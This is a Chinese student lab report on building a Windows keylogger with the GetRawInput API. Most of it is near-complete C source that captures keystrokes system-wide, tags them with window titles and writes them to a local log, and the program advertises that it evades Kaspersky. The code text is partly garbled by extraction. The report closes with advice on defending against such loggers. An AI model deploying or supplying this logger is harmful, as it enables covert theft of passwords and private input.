键盘记录创新性实验结题报告书.docx
- 文档编号:29533347
- 上传时间:2023-07-24
- 格式:DOCX
- 页数:24
- 大小:246.46KB
键盘记录创新性实验结题报告书.docx
《键盘记录创新性实验结题报告书.docx》由会员分享,可在线阅读,更多相关《键盘记录创新性实验结题报告书.docx(24页珍藏版)》请在冰豆网上搜索。
键盘记录创新性实验结题报告书
编号:
数学与计算科学学院
创新性实验结题报告书
实验题目:
键盘记录
实验成绩:
学院:
数学与计算科学学院
专业:
信息与计算科学
学生姓名:
韩尚颖1200710218
小组成员:
覃鸿升1200710327
小组成员:
覃子玥1200710228
指导教师:
毛睿教授
2014年04月04日
摘要:
在木马程序中,键盘记录是不可缺少的一部分,因为它是窃取别人电脑上数据的关键部分,本文利用“直接从输入设备获取数据(GetRawInput)”的方法,在windows环境下使用win32API和VC实现了键盘记录的基本功能。
关键词:
键盘记录;从输入设备获取数据;win32API;VC;windows环境
一、实验目的:
1.当今社会,信息泄露防不胜防,木马盗号各种横行,当然我们做这个键盘记录并不是为了去盗取别人信息,而是了解原理后,懂得如何去防范。
在木马程序中,键盘记录是不可缺少的一部分,因为它是窃取别人电脑上数据的关键部分,用它来记录用户的账号、密码;然后再将获得的账号、密码发到某个指定的邮箱里或某个FTP或网站服务器上。
在用户层实现键盘记录远比在系统层实现简单,是比较常用的方法。
用户层有三种主要的实现键盘记录的方法:
利用钩子函数、轮询键盘消息和直接从输入设备获取数据。
而我们就是用第三种方法来实现的(这种比前面两种获取信息的能力要强,可以获取软键盘的输入)。
二、实验要求:
1.记录键盘,鼠标等设备的输入
2.掌握VC的基础知识
3.学会设计优美界面(知道如何调用API函数及各种API函数的函数功能;)
4.所需基础:
所开发的工具能够记录键盘和鼠标的输入,包括字母,特殊符号,数字等。
三、实验原理:
.直接从输入设备获取数据(GetRawInput)
windows鼠标键盘输入模型:
鼠标和键盘产生输入数据,系统中断去处理这些与设备信息相关的数据,让这些数据变得与设备无关。
一个应用程序通过发送到他窗口的消息获取与设备无关的消息,例如WM_CHAR,WM_MOUSEMOVE
原始输入模型:
直接从设备获取数据并且可以根据他们的需要来获取。
前提是一个应用程序想获取原始数据就必须注册他想要获取原始输入的那些设备,然后应用程序会收到WM_INPUT消息。
四、实验内容与步骤:
大致流程:
1)向系统注册一个或者多个原始输入设备
为了注册这个设备,一个应用程序首先必须创建一个指明他所希望接受设备类别的(toplevelcollection—TLC)RAWINPUTDEVICE结构。
TLC被定义成为UsagePage(设备类)和Usage(设备类内的具体设备)。
例如为了从键盘获取原始输入,设置UsagePage=1andUsage=6,应用程序调用RegisterRawInputDevice去注册这个设备。
BOOLRegisitKeyBord(HWNDhwnd)
{
if(NULL==hwnd)
returnfalse;
PRegisterRawInputDevicesRegisterRawInputDevices=(PRegisterRawInputDevices)GetApiAdd("User32.dll","RegisterRawInputDevices");
if(NULL==RegisterRawInputDevices)
returnfalse;
RAWINPUTDEVICErid;
rid.usUsagePage=0x01;
rid.usUsage=0x06;
rid.dwFlags=RIDEV_INPUTSINK;
rid.hwndTarget=hwnd;
returnRegisterRawInputDevices(&rid,1,sizeof(RAWINPUTDEVICE));
}
应用程序可以注册系统当前没有的设备。
当设备可用之后,Windows管理器会自动将原始输入数据发送到应用程序。
应用程序可以调用GetRawInputDeviceList来获取系统中原始输入设备的列表。
用GetRawInputDeviceList获取的hDevice,应用程序调用GetRawInputDeviceInfo获取设备信息。
2)在你注册的原始输入设备数据发生变化时,系统发送一个消息及新数据到你的进程
3)调用GetRawInputData来获取这些数据
部分代码:
caseWM_INPUT:
if(NULL==GetRawInputData)
{
DefWindowProc(hWnd,message,wParam,lParam);
return0;
}
GetRawInputData((HRAWINPUT)lParam,RID_INPUT,NULL,&dwSize,sizeof(RAWINPUTHEADER));
lpb=newBYTE[dwSize];
if(lpb==NULL)
{
DefWindowProc(hWnd,message,wParam,lParam);
return0;
}
if(GetRawInputData((HRAWINPUT)lParam,RID_INPUT,lpb,&dwSize,sizeof(RAWINPUTHEADER))!
=dwSize)
Break;
raw=(RAWINPUT*)lpb;
if(raw->header.dwType==RIM_TYPEKEYBOARD)
{
if(prev==NULL)
{
prev=GetForegroundWindow();
GetWindowText(prev,ti,256);
wsprintf(vk,"[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey));
}
elseif(prev==GetForegroundWindow())
{
wsprintf(vk,"%s",GetKeyName(raw->data.keyboard.VKey));
}
else
{
prev=GetForegroundWindow();
GetWindowText(prev,ti,256);
wsprintf(vk,"\r\n\r\n[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey));
}
delete[]lpb;
这类键盘监控程序比前面两种获取信息的能力要强,可以获取软键盘的输入。
4)另外这里也用到了winAPI的创建和写入文件(createfile,writefile)函数
HANDLEInitLogFile(void)//创建keylog.txt
{
HANDLEhFile=CreateFile("keylog.txt",GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
returnhFile;
}
if(hFile!
=INVALID_HANDLE_VALUE&&((WM_KEYDOWN==raw->data.keyboard.Message)||(WM_SYSKEYDOWN==raw->data.keyboard.Message)))
{
SetFilePointer(hFile,0,NULL,FILE_END);
WriteFile(hFile,vk,(DWORD)strlen(vk),&dwWritten,NULL);
}
5、实验过程(数据,图表等):
首先在qq上做了输入:
韩上映,你是谁?
WHO,are,?
接着,在本文档上做了测试:
韩尚颖,你是谁,WHOareyou?
又在浏览器上做了输入:
韩尚颖。
WHOare有?
又在计算机搜索中输入:
hanshangying
最终在keylog.txt上输入:
hanshangying
六,实验结果分析或总结:
1.虽然完成这次实验的基本目的,但是此次的键盘记录还是不能记录汉字,有待改进.
2.学会了如何使用“直接从输入设备获取数据(GetRawInput)”的方法来设计开发键盘记录。
并学会和了解了使用win32API一些函数的调用,窗口实现的基本过程和利用windows系统提供的资源的优势。
3.防范建议:
首先软键盘可以在一定程度上提高安全性(对第一和第二种),但十分有限,比如对GetRawInput类型的键盘记录就无能为力。
实际上,更为简单有效的方法是人为打乱输入顺序,例如,输入密码1234567,可以先输入12567,再用鼠标切换焦点位置输入34。
此时键盘监控程序只会记录错误的结果1256734
参考文献:
[1]刘锐宁,宋坤等 .Visual C++从入门到精通(第2版) [M]清华大学出版社
[2]Windows程序设计(第五版 珍藏版)[M] 清华大学出版社
[3]孙鑫,余安萍.VC++深入详解[M].北京:
电子工业出版社.2006
附录:
#include"rawinput.h"
#include"vkey.h"
LRESULTCALLBACKWndProc(HWND,UINT,WPARAM,LPARAM);
HANDLEInitLogFile(void);
boolIntial(HINSTANCEhInstance);
BOOLRegisitKeyBord(HWNDhwnd);
PVOIDGetApiAdd(LPCSTRdllname,LPCSTRprocname);
HWNDprev=NULL;
HANDLEhFile;
char*szInfo="一个穿透卡巴的键盘记录(带窗口标题获取)利用原始设备输入变化RawInput键盘记录在当前目录下的Keylog.txt中";
intWINAPIWinMain(HINSTANCEhInstance,HINSTANCE,PSTR,intiCmdShow)
{
MSGmsg;
Intial(hInstance);
while(GetMessage(&msg,NULL,0,0))
{TranslateMessage(&msg);
DispatchMessage(&msg);//fasong
}
return0;
}
boolIntial(HINSTANCEhInstance)//初始
{HWNDhWnd;
WNDCLASSwndClass;
wndClass.style=CS_HREDRAW|CS_VREDRAW;
wndClass.lpfnWndProc=WndProc;
wndClass.cbClsExtra=0;
wndClass.cbWndExtra=0;
wndClass.hInstance=hInstance;
wndClass.hIcon=LoadIcon(NULL,IDI_APPLICATION);
wndClass.hCursor=LoadCursor(NULL,IDC_ARROW);
wndClass.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);
wndClass.lpszMenuName=NULL;
wndClass.lpszClassName=TEXT("Twnd");
RegisterClass(&wndClass);
hWnd=CreateWindow(
TEXT("Twnd"),//windowclassname
TEXT("键盘记录测试"),//windowcaption
WS_OVERLAPPEDWINDOW,//windowstyle
CW_USEDEFAULT,//initialxposition
CW_USEDEFAULT,//initialyposition
CW_USEDEFAULT,//initialxsize
CW_USEDEFAULT,//initialysize
NULL,//parentwindowhandle
NULL,//windowmenuhandle
hInstance,//programinstancehandle
NULL);//creationparameters
//将键盘记录写入日志文件
hFile=InitLogFile();
if(!
RegisitKeyBord(hWnd))
return0;
ShowWindow(hWnd,SW_SHOW);
UpdateWindow(hWnd);
return0;
}
LRESULTCALLBACKWndProc(HWNDhWnd,UINTmessage,WPARAMwParam,LPARAMlParam)
{
HDChdc;
PAINTSTRUCTps;
charvk[256]={'\0'};
charti[256]={'\0'};
UINTdwSize;
LPBYTElpb=NULL;//char
RAWINPUT*raw=NULL;
DWORDdwWritten=0;
//调用GetRawInputData(原始输入数据)_来获取设备数据
PGetRawInputDataGetRawInputData=(PGetRawInputData)GetApiAdd("user32.dll","GetRawInputData");
switch(message)
{
caseWM_INPUT:
if(NULL==GetRawInputData)
{
DefWindowProc(hWnd,message,wParam,lParam);
return0;
}
GetRawInputData((HRAWINPUT)lParam,RID_INPUT,NULL,&dwSize,sizeof(RAWINPUTHEADER));
lpb=newBYTE[dwSize];
if(lpb==NULL)
{
DefWindowProc(hWnd,message,wParam,lParam);
return0;
}
if(GetRawInputData((HRAWINPUT)lParam,RID_INPUT,lpb,&dwSize,sizeof(RAWINPUTHEADER))!
=dwSize)break;
raw=(RAWINPUT*)lpb;
if(raw->header.dwType==RIM_TYPEKEYBOARD)
{
if(prev==NULL)
{
prev=GetForegroundWindow();
GetWindowText(prev,ti,256);
wsprintf(vk,"[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey));
}
elseif(prev==GetForegroundWindow())
{
wsprintf(vk,"%s",GetKeyName(raw->data.keyboard.VKey));
}
else
{
prev=GetForegroundWindow();
GetWindowText(prev,ti,256);
wsprintf(vk,"\r\n\r\n[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey));
}
if(hFile!
=INVALID_HANDLE_VALUE&&((WM_KEYDOWN==raw->data.keyboard.Message)||(WM_SYSKEYDOWN==raw->data.keyboard.Message)))
{
SetFilePointer(hFile,0,NULL,FILE_END);
WriteFile(hFile,vk,(DWORD)strlen(vk),&dwWritten,NULL);
}
}
delete[]lpb;
DefWindowProc(hWnd,message,wParam,lParam);
return0;
caseWM_PAINT:
hdc=BeginPaint(hWnd,&ps);
TextOut(hdc,10,10,szInfo,strlen(szInfo));
TextOut(hdc,10,30,szTips,strlen(szTips));
EndPaint(hWnd,&ps);
return0;
caseWM_DESTROY:
PostQuitMessage(0);
CloseHandle(hFile);
return0;
default:
returnDefWindowProc(hWnd,message,wParam,lParam);
}
}
HANDLEInitLogFile(void)//创建keylog.txt
{
HANDLEhFile=CreateFile("keylog.txt",GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
returnhFile;
}
PVOIDGetApiAdd(LPCSTRdllname,LPCSTRprocname)
{
HMODULEhDll=LoadLibraryA(dllname);
if(NULL==hDll)
returnNULL;
PVOIDpProc=GetProcAddress(hDll,procname);
FreeLibrary(hDll);
returnpProc;
}
BOOLRegisitKeyBord(HWNDhwnd)//zhuce
{
if(NULL==hwnd)
returnfalse;
//向系统注册原始输入设备,直接从设备获取数据并且可以根据需要来获取
PRegisterRawInputDevicesRegisterRawInputDevices=(PRegisterRawInputDevices)GetApiAdd("User32.dll","RegisterRawInputDevices");
if(NULL==RegisterRawInputDevices)
returnfalse;
RAWINPUTDEVICErid;
rid.usUsagePage=0x01;
rid.usUsage=0x06;
rid.dwFlags=RIDEV_INPUTSINK;
rid.hwndTarget=hwnd;
returnRegisterRawInputDevices(&rid,1,sizeof(RAWINPUTDEVICE));
}
//////////vkey.h
#ifndef_VKEY_H
#define_VKEY_H
typedefstructVKeyInfo{
USHORTVKey;
LPCSTRVKname;
};
#defineAddVKey(VK,VKName){(VK),(VKName)}
staticVKeyInfovkis[]={
AddVKey(VK_LBUTTON,"Leftmousebutton"),
AddVKey(VK_RBUTTON,"Rightmousebutton"),
AddVKey(VK_CANCEL,"Control-breakprocessing"),
AddVKey(0x04,"Middlemousebutton(three-buttonmouse)"),
AddVKey(0x05,"Windows2000/XP:
X1mousebutton"),
AddVKey(0x06,"Windows2000/XP:
X2mousebutton"),
AddVKey(0x07,"Undefined"),
AddVKey(VK_BACK,"BACKSPACEkey"),
AddVKey(VK_TAB,"TABkey"),
AddVKey(0x0A,"Reserved"),
AddVKey(0x0B,"Reserved"),
AddVKey(VK_CLEAR,"CLEARkey"),
AddVKey(VK_RETURN,"ENTERkey"),
AddVKey(0x0E,"Undefined"),
AddVKey(0x0F,"Undefined"),
AddVKey(VK_SHIFT,"SHIFTkey"),
AddVKey(VK_CONTROL,"CTRLkey"),
AddVKey(VK_MENU,"ALTkey"),
AddVKey(VK_PAUSE,"PAUSEkey"),
AddVKey(VK_CAPITAL,"CAPSLOCKkey"),
AddVKey(VK_KANA,"InputMethodEditor(IME)Kanamode"),
AddVKey(VK_HANGUL,"IMEHangulmode"),
AddVKey(0x16,"Undefined"),
AddVKey(VK_JUNJA,"IMEJunjamode"),
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 键盘记录 创新 实验 报告书
![提示](https://static.bdocx.com/images/bang_tan.gif)